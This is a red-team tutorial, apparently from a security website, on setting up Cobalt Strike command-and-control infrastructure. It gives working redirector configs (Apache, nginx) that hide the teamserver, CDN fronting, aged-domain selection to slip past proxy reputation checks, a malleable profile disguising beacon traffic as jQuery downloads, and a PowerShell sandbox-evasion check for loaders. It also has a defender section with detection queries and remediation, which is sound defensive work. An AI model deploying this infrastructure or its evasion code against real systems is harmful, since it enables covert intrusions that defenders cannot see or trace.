
Command and Control Infrastructure Setup and OPSEC
C2 infrastructure architecture guide covering redirectors, domain fronting, malleable profiles, CDN-based evasion, and operational security.
Introduction
Don't expose a C2 teamserver directly to the internet. Blue teams run passive DNS, JA3 fingerprinting and threat intel enrichment against suspicious IPs all the time. Once the teamserver IP is flagged (a sandbox detonation, a misconfigured implant, a defender searching Shodan), it is burned for the rest of the engagement, and it often lands in shared threat intel feeds within a day.
A redirector fixes this. It is a cheap VPS that sits between your implants and the teamserver, so the implants never learn the teamserver's real IP. If defenders burn a redirector, you lose a few dollars and fifteen minutes of reconfiguration. If they burn the teamserver, you lose the engagement.
Domain choice matters as much as IP hygiene. Freshly registered domains trigger immediate suspicion in most proxy/DNS reputation systems. Aged, categorized domains that previously hosted legitimate content inherit the trust of their history. A domain that has been "Business/Finance" in Bluecoat's BCWF category for three years gets through more web proxies than anything you register today.
Authorization Required
C2 infrastructure techniques described here are for authorized penetration testing and red team engagements only. Deploying implants or redirectors against systems you do not have written authorization to test is illegal under the Computer Fraud and Abuse Act, the UK Computer Misuse Act, and equivalent legislation in most jurisdictions. Rules of engagement must explicitly permit the infrastructure configuration being used.
Impact
- The teamserver IP never appears to the target network or the public internet.
- A burned redirector can be replaced in minutes while the teamserver and its sessions stay up.
- Aged, categorized domains pass corporate web proxies and DNS reputation checks that block new domains by default.
- With CDN fronting, defenders see CDN edge IPs (Cloudflare, Akamai, Fastly) in firewall logs instead of IPs you control.
- A good malleable C2 profile makes implant traffic look like ordinary application traffic in a packet capture.
- mTLS listeners stop passive interception and man-in-the-middle of the C2 channel.
Technical details
Architecture
The usual red team C2 layout splits infrastructure into tiers:
| Tier | Component | Purpose |
|---|---|---|
| 0 | Attacker workstation | Cobalt Strike / Sliver client |
| 1 | Teamserver | Implant management and payload hosting, never exposed to the internet |
| 2 | Redirector(s) | Internet-facing VPS, proxies traffic to teamserver |
| 3 | CDN / domain fronting | Another layer of IP indirection through a cloud provider |
Inbound implant traffic takes this route: Target → CDN edge (optional) → Redirector → Teamserver. The teamserver firewall accepts connections only from redirector IPs on specific ports. Outbound operator connections go directly to the teamserver over SSH tunnels or VPN.
Domain acquisition
Find an aged domain
Use expireddomains.net filtered by:
- Age: minimum 1 year
- Status: available
- Category: filter by Bluecoat/Symantec categories (Business, Finance, Technology, News)
Verify category before purchase:
# Bluecoat site review
curl "https://sitereview.bluecoat.com/resource/lookup" \
-H "Content-Type: application/json" \
-d '{"url":"targetdomain.com","captcha":""}'
# VirusTotal passive DNS check
curl -s "https://www.virustotal.com/api/v3/domains/targetdomain.com" \
-H "x-apikey: $VT_API_KEY" | jq '.data.attributes.last_analysis_stats'Get a TLS certificate
Implants that talk HTTPS need a valid certificate. Self-signed certificates get flagged by most EDR products and network monitoring.
# Standalone mode: temporarily binds port 80
certbot certonly --standalone -d updates.yourdomain.com
# Output: /etc/letsencrypt/live/updates.yourdomain.com/
# fullchain.pem
# privkey.pemConvert for Cobalt Strike keystore:
openssl pkcs12 -export \
-in /etc/letsencrypt/live/updates.yourdomain.com/fullchain.pem \
-inkey /etc/letsencrypt/live/updates.yourdomain.com/privkey.pem \
-out updates.p12 \
-name updates \
-passout pass:changeit
keytool -importkeystore \
-srckeystore updates.p12 \
-srcstoretype PKCS12 \
-destkeystore updates.store \
-deststorepass changeitConfigure DNS
Point the domain's A record at the redirector IP. If you use Cloudflare for CDN fronting, turn on the orange cloud (proxied) for the record. DNS responses then return Cloudflare's anycast IP instead of the redirector's.
updates.yourdomain.com A REDIRECTOR_IP proxied: trueCloudflare then accepts HTTPS connections at the edge and forwards to your origin (redirector) using the Host header. Your redirector's real IP never appears in DNS.
Apache Redirector with mod_rewrite
The redirector forwards only the URI paths your profile uses and sends every other request somewhere harmless. Automated scanners that probe for C2 panels, or that fingerprint whatever answers on the root path, never reach the teamserver.
<VirtualHost *:443>
ServerName updates.yourdomain.com
SSLEngine on
SSLCertificateFile /etc/letsencrypt/live/updates.yourdomain.com/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/updates.yourdomain.com/privkey.pem
# Required modules: mod_rewrite, mod_proxy, mod_proxy_http, mod_ssl
RewriteEngine On
# Drop requests with unexpected Host headers (scanner/shodan mitigation)
RewriteCond %{HTTP_HOST} !^updates\.yourdomain\.com$ [NC]
RewriteRule .* - [F,L]
# Only proxy requests matching beacon URI paths to teamserver
RewriteCond %{REQUEST_URI} ^/updates/(.*)$
RewriteRule ^/updates/(.*) https://TEAMSERVER_IP/$1 [P,L]
RewriteCond %{REQUEST_URI} ^/cdn-cgi/(.*)$
RewriteRule ^/cdn-cgi/(.*) https://TEAMSERVER_IP/cdn-cgi/$1 [P,L]
# All other requests: serve legitimate content or redirect to innocuous site
RewriteRule .* https://www.microsoft.com/en-us/windows/windows-11 [R=302,L]
# Don't pass X-Forwarded-For to teamserver
ProxyPreserveHost Off
RequestHeader unset X-Forwarded-For
RequestHeader unset X-Forwarded-Host
ErrorLog /var/log/apache2/redirector_error.log
CustomLog /var/log/apache2/redirector_access.log combined
</VirtualHost>Enable required modules and restart:
a2enmod rewrite proxy proxy_http ssl headers
systemctl restart apache2nginx redirector
server {
listen 443 ssl;
server_name updates.yourdomain.com;
ssl_certificate /etc/letsencrypt/live/updates.yourdomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/updates.yourdomain.com/privkey.pem;
# Only proxy matching paths
location ~ ^/(updates|cdn-cgi)/ {
proxy_pass https://TEAMSERVER_IP;
proxy_ssl_verify off;
proxy_set_header Host $host;
# Strip source IP info
proxy_set_header X-Forwarded-For "";
proxy_set_header X-Real-IP "";
}
# Everything else → legitimate site
location / {
return 302 https://www.microsoft.com/en-us/windows/windows-11;
}
}Teamserver firewall rules
The teamserver drops every connection that doesn't come from a redirector or an operator IP:
# Flush existing rules
iptables -F INPUT
# Allow existing connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow SSH from operator IPs only
iptables -A INPUT -p tcp --dport 22 -s OPERATOR_IP -j ACCEPT
# Allow beacon traffic from redirector(s) only
iptables -A INPUT -p tcp --dport 443 -s REDIRECTOR_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s REDIRECTOR_IP_2 -j ACCEPT
# Drop everything else
iptables -A INPUT -j DROP
# Persist rules
iptables-save > /etc/iptables/rules.v4Attack tools
Malleable C2 profile
A malleable profile controls how the Cobalt Strike payload shapes its HTTP requests and responses: URIs, headers, where the metadata goes and how it is encoded. The aim is traffic that matches an application the target already sees every day.
The jQuery profile imitates requests for a jQuery file from a CDN, which shows up on nearly every corporate network:
set sleeptime "60000"; # callback interval in milliseconds (60s)
set jitter "20"; # ±20% variance
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
http-get {
set uri "/jquery-3.3.1.min.js";
client {
header "Accept" "text/javascript, application/javascript, */*";
header "Referer" "https://code.jquery.com/";
header "Accept-Language" "en-US,en;q=0.9";
metadata {
base64url;
prepend "jQuery_";
header "Cookie";
}
}
server {
header "Content-Type" "application/javascript; charset=utf-8";
header "Cache-Control" "max-age=86400";
header "X-Content-Type-Options" "nosniff";
output {
base64url;
prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
print;
}
}
}
http-post {
set uri "/jquery-3.3.1.min.js";
client {
header "Content-Type" "application/x-www-form-urlencoded";
header "Referer" "https://code.jquery.com/";
id {
base64url;
prepend "id=";
parameter "id";
}
output {
base64url;
parameter "data";
}
}
server {
header "Content-Type" "application/javascript; charset=utf-8";
output {
base64url;
prepend "/*! jQuery v3.3.1 */";
print;
}
}
}Check the profile with c2lint before loading it:
./c2lint jquery.profileStart the teamserver with the profile:
./teamserver TEAMSERVER_IP "password" jquery.profile \
updates.store changeitAdd the listener in the Cobalt Strike client:
- Listeners → Add → HTTPS
- Host:
updates.yourdomain.com - Port:
443 - Bind Port:
443(on teamserver)
Detection
Network indicators
| Signal | Detection logic |
|---|---|
| JA3/JA3S fingerprint | Known C2 TLS fingerprints (Cobalt Strike default: 72a7c9fefbba174acf6d8df0d8ed0a2d) |
| Callback regularity | Outbound connections at intervals with low variance |
| URI pattern consistency | Same URI hit at regular intervals from single host |
| HTTP header ordering | Non-browser header order in User-Agent requests |
| Certificate fields | Self-signed or Let's Encrypt certs on IPs rather than hostnames |
| Domain age | <30 days in passive DNS with HTTPS traffic from internal hosts |
Host indicators
| Event | What to look for |
|---|---|
| Security 4688, Sysmon 1 | Odd parent-child process chains, for example winword.exe → powershell.exe → rundll32.exe |
| Sysmon 3 | Network connections from Office processes or svchost.exe to non-Microsoft IPs |
| Sysmon 22 | DNS queries for newly registered or uncategorized domains from unusual processes |
| System 7045, Security 4697 | New services that match known stager persistence patterns |
SIEM queries
index=network_proxy sourcetype=proxy
| eval hour=strftime(_time, "%Y-%m-%d %H")
| stats count by src_ip, dest_host, hour
| eventstats avg(count) as avg_count, stdev(count) as stdev_count by src_ip, dest_host
| where stdev_count < 2 AND count > 5
| table src_ip, dest_host, count, avg_count, stdev_countevent.category:network AND tls.client.ja3:72a7c9fefbba174acf6d8df0d8ed0a2dindex=proxy sourcetype=squid
| where match(cs_host, "\.cloudflare\.com$") OR match(cs_host, "\.fastly\.net$")
| stats dc(cs_uri_path) as unique_paths, count by src_ip, cs_host
| where unique_paths < 3 AND count > 20Remediation
For defenders
- Terminate and inspect HTTPS at the proxy. Categorize-and-allow setups skip inspection for allowed categories, which is exactly where an aged, categorized C2 domain lands. Inspect uniformly or accept the blind spot.
- Use DNS RPZ or reputation filtering to block domains registered in the last 30 days. Most enterprise proxies and resolvers can also block uncategorized domains; turn that on.
- Run allowlist egress: each application may reach only its known destinations. Default-deny egress makes domain fronting much harder to operate.
- Fingerprint TLS at the perimeter, for example Zeek with JA3 logging. Alert on known-bad JA3 hashes and on unusual hashes from server processes.
- Force all outbound traffic through an authenticated proxy and compare the claimed
User-Agentwith the TLS fingerprint. A Chrome user agent on a non-Chrome TLS handshake is a strong signal. - Run RITA (Active Countermeasures) over Zeek logs. It scores connection intervals and sizes and flags hosts that call out on a schedule.
For operators
- Never submit payloads to VirusTotal or any public sandbox. Threat intel vendors harvest those submissions, and the payload and its infrastructure can be burned within hours.
- Add sandbox detection to loaders: check for low process count (
< 50), presence of analysis tool artifacts (vboxsf,vmtoolsd.exe), and domain-joined status before executing. - Use separate infrastructure per engagement. Shared redirectors across engagements create linkage if one engagement's defenders share IOCs.
- Rotate domains after any detection or blue team inquiry. If a defender asks your handler about suspicious DNS, assume the domain is blown.
- Monitor your own infrastructure: run
fail2ban, watch Apache/nginx logs for scanner probes, and alert on unexpected source IPs hitting your redirectors.
# Check for analysis artifacts before detonating (PowerShell)
$processes = (Get-Process).Count
$domain = (Get-WmiObject Win32_ComputerSystem).Domain
$cpu = (Get-WmiObject Win32_Processor).NumberOfCores
if ($processes -lt 50 -or $domain -eq "WORKGROUP" -or $cpu -lt 2) {
# Sleep and exit: sandbox environment detected
Start-Sleep -Seconds 300
exit
}References
MITRE ATT&CK Techniques
- T1090 - Proxy: proxies that hide the source of C2 traffic
- T1102 - Web Service: legitimate web services used for C2
- T1001.003 - Data Obfuscation: Protocol Impersonation: malleable profiles that imitate legitimate traffic
- T1583 - Acquire Infrastructure: buying domains, VPS and CDN services for operations
Tool documentation
- Cobalt Strike Malleable C2 Profiles
- Sliver C2 Documentation
- Apache mod_rewrite Documentation
- Nginx proxy_pass Documentation
- Malleable C2 Profile Repository (rsmudge)
- Offensive security guide to SSL/TLS and mTLS (SpecterOps)
Next steps
Sliver C2 Cheatsheet
Cheatsheet for the Sliver C2 framework covering payload generation, listeners, beaconing, sessions, and post-exploitation for red team operations.
Ligolo-ng Tunneling and Pivoting
Ligolo-ng setup and usage for pivoting through a TUN interface, covering proxy and agent setup, routes, listeners and double pivots.
Mimikatz Credential Extraction
Credential extraction and ticket handling from the Windows hosts the C2 lands on.
Nmap Advanced Scanning Techniques
Advanced Nmap techniques for penetration testing including NSE scripting, IDS/firewall evasion, large-scale scanning, and real-world attack scenarios.
BloodHound: Active Directory Attack Paths
Using BloodHound to collect Active Directory data, query it with Cypher and find privilege escalation paths.
Hashcat: GPU Password Cracking
Cracking password hashes with Hashcat. Hash modes, attack modes, rules, performance flags and the hashes you meet on internal tests.